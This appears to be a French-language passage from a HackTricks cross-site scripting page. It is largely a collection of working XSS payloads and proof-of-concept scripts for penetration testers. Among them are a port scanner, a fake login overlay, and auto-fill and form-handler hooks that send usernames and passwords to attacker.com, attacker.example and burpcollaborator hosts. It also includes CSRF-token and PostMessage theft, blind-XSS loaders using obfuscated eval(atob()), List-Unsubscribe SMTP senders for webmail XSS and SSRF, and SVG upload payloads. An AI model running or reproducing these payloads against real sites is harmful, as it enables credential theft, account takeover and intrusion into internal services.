Port Scanner (fetch)

const checkPort = (port) => { fetch(http://localhost:${port}, { mode: "no-cors" }).then(() => { let img = document.createElement("img"); img.src = http://attacker.com/ping?port=${port}; }); } for(let i=0; i<1000; i++) { checkPort(i); }

Port Scanner (websockets)

var ports = [80, 443, 445, 554, 3306, 3690, 1234];
for(var i=0; i<ports.length; i++) {
var s = new WebSocket("wss://192.168.1.1:" + ports[i]);
s.start = performance.now();
s.port = ports[i];
s.onerror = function() {
console.log("Port " + this.port + ": " + (performance.now() -this.start) + " ms");
};
s.onopen = function() {
console.log("Port " + this.port+ ": " + (performance.now() -this.start) + " ms");
};
}

Les temps courts indiquent un port qui répond Les temps plus longs indiquent l’absence de réponse.

Consultez la liste des ports bloqués dans Chrome here et dans Firefox here.

Boîte pour demander des identifiants

<style>::placeholder { color:white; }</style><script>document.write("<div style='position:absolute;top:100px;left:250px;width:400px;background-color:white;height:230px;padding:15px;border-radius:10px;color:black'><form action='https://example.com/'><p>Your sesion has timed out, please login again:</p><input style='width:100%;' type='text' placeholder='Username' /><input style='width: 100%' type='password' placeholder='Password'/><input type='submit' value='Login'></form><p><i>This login box is presented using XSS as a proof-of-concept</i></p></div>")</script>

Capture des mots de passe Auto-fill

<b>Username:</><br>
<input name=username id=username>
<b>Password:</><br>
<input type=password name=password onchange="if(this.value.length)fetch('https://YOUR-SUBDOMAIN-HERE.burpcollaborator.net',{
method:'POST',
mode: 'no-cors',
body:username.value+':'+this.value
});">

Lorsque des données sont introduites dans le password field, le username et le password sont envoyés au attackers server, même si le client sélectionne un saved password et n’écrit rien, les credentials seront ex-filtrated.

Hijack form handlers to exfiltrate credentials (const shadowing)

Si un handler critique (e.g., function DoLogin(){...}) est déclaré plus tard dans la page, et que votre payload s’exécute plus tôt (e.g., via un inline JS-in-JS sink), définissez d’abord un const portant le même nom pour préempter et verrouiller le handler. Les déclarations de fonction ultérieures ne peuvent pas réaffecter un nom const, laissant votre hook sous contrôle :

const DoLogin = () => {
const pwd  = Trim(FormInput.InputPassword.value);
const user = Trim(FormInput.InputUtente.value);
fetch('https://attacker.example/?u='+encodeURIComponent(user)+'&p='+encodeURIComponent(pwd));
};

Remarques

  • Cela dépend de l’ordre d’exécution : votre injection doit s’exécuter avant la déclaration légitime.
  • Si votre payload est enveloppé dans eval(...), les liaisons const/let ne deviendront pas globales. Utilisez la technique d’injection dynamique <script> décrite dans la section “Deliverable payloads with eval(atob()) and scope nuances” pour garantir une liaison globale réelle, non réaffectable.
  • Quand des filtres par mots-clés bloquent le code, combinez avec des identifiants échappés en Unicode ou la livraison eval(atob('...')), comme montré ci‑dessus.

Keylogger

Just searching in github I found a few different ones:

Stealing CSRF tokens

<script>
var req = new XMLHttpRequest();
req.onload = handleResponse;
req.open('get','/email',true);
req.send();
function handleResponse() {
var token = this.responseText.match(/name="csrf" value="(\w+)"/)[1];
var changeReq = new XMLHttpRequest();
changeReq.open('post', '/email/change-email', true);
changeReq.send('csrf='+token+'&email=test@test.com')
};
</script>

Voler les messages PostMessage

<img src="https://attacker.com/?" id=message>
<script>
window.onmessage = function(e){
document.getElementById("message").src += "&"+e.data;
</script>

Abuser les Service Workers

Abusing Service Workers

Accéder au Shadow DOM

Shadow DOM

Polyglots

Auto_Wordlists/wordlists/xss_polyglots.txt at main \xc2\xb7 carlospolop/Auto_Wordlists \xc2\xb7 GitHub

Blind XSS payloads

Vous pouvez aussi utiliser : https://xsshunter.com/

"><img src='//domain/xss'>
"><script src="//domain/xss.js"></script>
><a href="javascript:eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')">Click Me For An Awesome Time</a>
<script>function b(){eval(this.responseText)};a=new XMLHttpRequest();a.addEventListener("load", b);a.open("GET", "//0mnb1tlfl5x4u55yfb57dmwsajgd42.burpcollaborator.net/scriptb");a.send();</script>

<!-- html5sec - Self-executing focus event via autofocus: -->
"><input onfocus="eval('d=document; _ = d.createElement(\'script\');_.src=\'\/\/domain/m\';d.body.appendChild(_)')" autofocus>

<!-- html5sec - JavaScript execution via iframe and onload -->
"><iframe onload="eval('d=document; _=d.createElement(\'script\');_.src=\'\/\/domain/m\';d.body.appendChild(_)')">

<!-- html5sec - SVG tags allow code to be executed with onload without any other elements. -->
"><svg onload="javascript:eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')" xmlns="http://www.w3.org/2000/svg"></svg>

<!-- html5sec -  allow error handlers in <SOURCE> tags if encapsulated by a <VIDEO> tag. The same works for <AUDIO> tags  -->
"><video><source onerror="eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')">

<!--  html5sec - eventhandler -  element fires an "onpageshow" event without user interaction on all modern browsers. This can be abused to bypass blacklists as the event is not very well known.  -->
"><body onpageshow="eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')">

<!-- xsshunter.com - Sites that use JQuery -->
<script>$.getScript("//domain")</script>

<!-- xsshunter.com - When <script> is filtered -->
"><img src=x id=payload&#61;&#61; onerror=eval(atob(this.id))>

<!-- xsshunter.com - Bypassing poorly designed systems with autofocus -->
"><input onfocus=eval(atob(this.id)) id=payload&#61;&#61; autofocus>

<!-- noscript trick -->
<noscript><p title="</noscript><img src=x onerror=alert(1)>">

<!-- whitelisted CDNs in CSP -->
"><script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.6.1/angular.js"></script>
<script src="https://ajax.googleapis.com/ajax/libs/angularjs/1.6.1/angular.min.js"></script>
<!-- ... add more CDNs, you'll get WARNING: Tried to load angular more than once if multiple load. but that does not matter you'll get a HTTP interaction/exfiltration :-]... -->
<div ng-app ng-csp><textarea autofocus ng-focus="d=$event.view.document;d.location.hash.match('x1') ? '' : d.location='//localhost/mH/'"></textarea></div>

<!-- Payloads from https://www.intigriti.com/researchers/blog/hacking-tools/hunting-for-blind-cross-site-scripting-xss-vulnerabilities-a-complete-guide -->
<!-- Image tag -->
'"><img src="x" onerror="eval(atob(this.id))" id="Y29uc3QgeD1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTt4LnNyYz0ne1NFUlZFUn0vc2NyaXB0LmpzJztkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKHgpOw==">

<!-- Input tag with autofocus -->
'"><input autofocus onfocus="eval(atob(this.id))" id="Y29uc3QgeD1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTt4LnNyYz0ne1NFUlZFUn0vc2NyaXB0LmpzJztkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKHgpOw==">

<!-- In case jQuery is loaded, we can make use of the getScript method -->
'"><script>$.getScript("{SERVER}/script.js")</script>

<!-- Make use of the JavaScript protocol (applicable in cases where your input lands into the "href" attribute or a specific DOM sink) -->
javascript:eval(atob("Y29uc3QgeD1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTt4LnNyYz0ne1NFUlZFUn0vc2NyaXB0LmpzJztkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKHgpOw=="))

<!-- Render an iframe to validate your injection point and receive a callback -->
'"><iframe src="{SERVER}"></iframe>

<!-- Bypass certain Content Security Policy (CSP) restrictions with a base tag -->
<base href="{SERVER}" />

<!-- Make use of the meta-tag to initiate a redirect -->
<meta http-equiv="refresh" content="0; url={SERVER}" />

<!-- In case your target makes use of AngularJS -->
{{constructor.constructor("import('{SERVER}/script.js')")()}}

Regex - Accéder au contenu caché

D’après this writeup il est possible d’apprendre que même si certaines valeurs disparaissent du JS, il est toujours possible de les retrouver dans des attributs JS d’objets différents. Par exemple, un input d’un REGEX peut encore être trouvé après que la valeur de l’input du regex a été supprimée :

// Do regex with flag
flag = "CTF{FLAG}"
re = /./g
re.test(flag)

// Remove flag value, nobody will be able to get it, right?
flag = ""

// Access previous regex input
console.log(RegExp.input)
console.log(RegExp.rightContext)
console.log(
document.all["0"]["ownerDocument"]["defaultView"]["RegExp"]["rightContext"]
)

Brute-Force List

https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss.txt

XSS — abus d’autres vulnérabilités

XSS in Markdown

Peut-on injecter du code Markdown qui sera rendu ? Peut-être que vous pouvez obtenir XSS ! Vérifiez :

XSS in Markdown

XSS vers SSRF

Vous avez XSS sur un site qui utilise le caching ? Essayez de transformer cela en SSRF via Edge Side Include Injection avec ce payload:

<esi:include src="http://yoursite.com/capture" />

Utilisez-le pour contourner les restrictions de cookies, les filtres XSS et bien plus encore!
Plus d’informations sur cette technique ici : XSLT.

XSS in dynamic created PDF

Si une page web crée un PDF en utilisant des entrées contrôlées par l’utilisateur, vous pouvez essayer de tromper le bot qui crée le PDF pour qu’il exécute du code JS arbitraire.
Ainsi, si le bot créateur de PDF trouve une sorte de HTML tags, il va les interpréter, et vous pouvez abuser de ce comportement pour provoquer un Server XSS.

Server Side XSS (Dynamic PDF)

Si vous ne pouvez pas injecter des HTML tags, il peut être utile d’essayer d’injecter des données PDF :

PDF Injection

XSS in Amp4Email

AMP, conçu pour accélérer les performances des pages web sur les appareils mobiles, incorpore des balises HTML complétées par du JavaScript pour assurer la fonctionnalité en mettant l’accent sur la vitesse et la sécurité. Il prend en charge une série de composants pour diverses fonctionnalités, accessibles via AMP components.

Le format AMP for Email étend certains composants AMP aux emails, permettant aux destinataires d’interagir directement avec le contenu depuis leurs emails.

Exemple : writeup XSS in Amp4Email in Gmail.

List-Unsubscribe Header Abuse (Webmail XSS & SSRF)

Le RFC 2369 List-Unsubscribe header intègre des URI contrôlées par l’attaquant que de nombreux webmails et clients mail convertissent automatiquement en boutons “Unsubscribe”. Lorsque ces URI sont rendues ou récupérées sans validation, l’en-tête devient un point d’injection pour à la fois du stored XSS (si le lien unsubscribe est placé dans le DOM) et du SSRF (si le serveur effectue la requête d’unsubscribe pour le compte de l’utilisateur).

Stored XSS via javascript: URIs

  1. Envoyez-vous un email dont l’en-tête pointe vers un javascript: URI tout en gardant le reste du message bénin afin que les filtres anti-spam ne le suppriment pas.
  2. Assurez-vous que l’UI affiche la valeur (beaucoup de clients l’affichent dans un panneau “List Info”) et vérifiez si le <a> résultant hérite d’attributs contrôlés par l’attaquant tels que href ou target.
  3. Déclenchez l’exécution (par ex. CTRL+click, clic milieu ou “ouvrir dans un nouvel onglet”) lorsque le lien utilise target="_blank" ; les navigateurs évalueront le JavaScript fourni dans l’origine de l’application webmail.
  4. Observez le stored-XSS persistant : la charge utile (payload) reste liée à l’email et ne nécessite qu’un clic pour s’exécuter.
List-Unsubscribe: <javascript://attacker.tld/%0aconfirm(document.domain)>
List-Unsubscribe-Post: List-Unsubscribe=One-Click

L’octet de nouvelle ligne (%0a) dans l’URI montre que même des caractères inhabituels survivent au pipeline de rendu dans des clients vulnérables tels que Horde IMP H5, qui affichent la chaîne mot pour mot à l’intérieur de la balise .

PoC SMTP minimal qui délivre un en-tête List-Unsubscribe malveillant ```python #!/usr/bin/env python3 import smtplib from email.message import EmailMessage

smtp_server = “mail.example.org” smtp_port = 587 smtp_user = “user@example.org” smtp_password = “REDACTED” sender = “list@example.org” recipient = “victim@example.org”

msg = EmailMessage() msg.set_content(“Testing List-Unsubscribe rendering”) msg[“From”] = sender msg[“To”] = recipient msg[“Subject”] = “Newsletter” msg[“List-Unsubscribe”] = “javascript://evil.tld/%0aconfirm(document.domain)” msg[“List-Unsubscribe-Post”] = “List-Unsubscribe=One-Click”

with smtplib.SMTP(smtp_server, smtp_port) as smtp: smtp.starttls() smtp.login(smtp_user, smtp_password) smtp.send_message(msg)

</details>

#### Proxies de désinscription côté serveur -> SSRF

Certains clients, comme Nextcloud Mail app, proxyent l'action de désinscription côté serveur : cliquer sur le bouton demande au serveur de récupérer lui-même l'URL fournie. Cela transforme l'en-tête en primitive SSRF, surtout lorsque les administrateurs définissent `'allow_local_remote_servers' => true` (documenté dans [HackerOne report 2902856](https://hackerone.com/reports/2902856)), ce qui permet des requêtes vers les plages loopback et RFC1918.

1. **Préparez un email** où `List-Unsubscribe` pointe vers un endpoint contrôlé par l'attaquant (pour un SSRF aveugle, utilisez Burp Collaborator / OAST).
2. **Conservez `List-Unsubscribe-Post: List-Unsubscribe=One-Click`** afin que l'UI affiche un bouton de désinscription en un clic.
3. **Satisfaire les exigences de confiance** : Nextcloud, par exemple, n'effectue les requêtes HTTPS de désinscription que si le message passe DKIM, donc l'attaquant doit signer l'email en utilisant un domaine qu'il contrôle.
4. **Livrez le message dans une boîte mail traitée par le serveur cible** et attendez qu'un utilisateur clique sur le bouton de désinscription.
5. **Observez le callback côté serveur** sur l'endpoint Collaborator, puis pivotez vers des adresses internes une fois la primitive confirmée.
```text
List-Unsubscribe: <http://abcdef.oastify.com>
List-Unsubscribe-Post: List-Unsubscribe=One-Click
Message List-Unsubscribe signé DKIM pour les tests SSRF ```python #!/usr/bin/env python3 import smtplib from email.message import EmailMessage import dkim

smtp_server = “mail.example.org” smtp_port = 587 smtp_user = “user@example.org” smtp_password = “REDACTED” dkim_selector = “default” dkim_domain = “example.org” dkim_private_key = “”“—–BEGIN PRIVATE KEY—–\n…\n—–END PRIVATE KEY—–”“”

msg = EmailMessage() msg.set_content(“One-click unsubscribe test”) msg[“From”] = “list@example.org” msg[“To”] = “victim@example.org” msg[“Subject”] = “Mailing list” msg[“List-Unsubscribe”] = “http://abcdef.oastify.com” msg[“List-Unsubscribe-Post”] = “List-Unsubscribe=One-Click”

raw = msg.as_bytes() signature = dkim.sign( message=raw, selector=dkim_selector.encode(), domain=dkim_domain.encode(), privkey=dkim_private_key.encode(), include_headers=[“From”, “To”, “Subject”] ) msg[“DKIM-Signature”] = signature.decode().split(“: “, 1)[1].replace(”\r“, “”).replace(“\n”, “”)

with smtplib.SMTP(smtp_server, smtp_port) as smtp: smtp.starttls() smtp.login(smtp_user, smtp_password) smtp.send_message(msg)

</details>

**Notes de test**

- Utilisez un endpoint OAST pour collecter des hits SSRF aveugles, puis adaptez l'URL `List-Unsubscribe` pour cibler `http://127.0.0.1:PORT`, les services de métadonnées ou d'autres hôtes internes une fois que la capacité est confirmée.
- Parce que l'assistant de désinscription réutilise souvent la même pile HTTP que l'application, vous héritez de ses paramètres de proxy, des verbes HTTP et des réécritures d'en-têtes, ce qui permet d'autres astuces de traversée décrites dans la [SSRF methodology](../ssrf-server-side-request-forgery/README.md).

### XSS téléversement de fichiers (svg)

Téléversez en tant qu'image un fichier comme le suivant (depuis [http://ghostlulz.com/xss-svg/](http://ghostlulz.com/xss-svg/)):
```html
Content-Type: multipart/form-data; boundary=---------------------------232181429808
Content-Length: 574
-----------------------------232181429808
Content-Disposition: form-data; name="img"; filename="img.svg"
Content-Type: image/svg+xml

<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<rect width="300" height="100" style="fill:rgb(0,0,255);stroke-width:3;stroke:rgb(0,0,0)" />
<script type="text/javascript">
alert(1);
</script>
</svg>
-----------------------------232181429808--
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<script type="text/javascript">alert("XSS")</script>
</svg>
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/>
<script type="text/javascript">
alert("XSS");
</script>
</svg>
<svg width="500" height="500"
xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
<circle cx="50" cy="50" r="45" fill="green"
id="foo"/>

<foreignObject width="500" height="500">
<iframe xmlns="http://www.w3.org/1999/xhtml" src="data:text/html,&lt;body&gt;&lt;script&gt;document.body.style.background=&quot;red&quot;&lt;/script&gt;hi&lt;/body&gt;" width="400" height="250"/>
<iframe xmlns="http://www.w3.org/1999/xhtml" src="javascript:document.write('hi');" width="400" height="250"/>
</foreignObject>
</svg>
<svg><use href="//portswigger-labs.net/use_element/upload.php#x" /></svg>
<svg><use href="data:image/svg+xml,&lt;svg id='x' xmlns='http://www.w3.org/2000/svg' &gt;&lt;image href='1' onerror='alert(1)' /&gt;&lt;/svg&gt;#x" />

Trouvez plus de payloads SVG sur https://github.com/allanlw/svg-cheatsheet

Astuces JS diverses & informations pertinentes

Misc JS Tricks & Relevant Info

Ressources XSS

Références

Tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks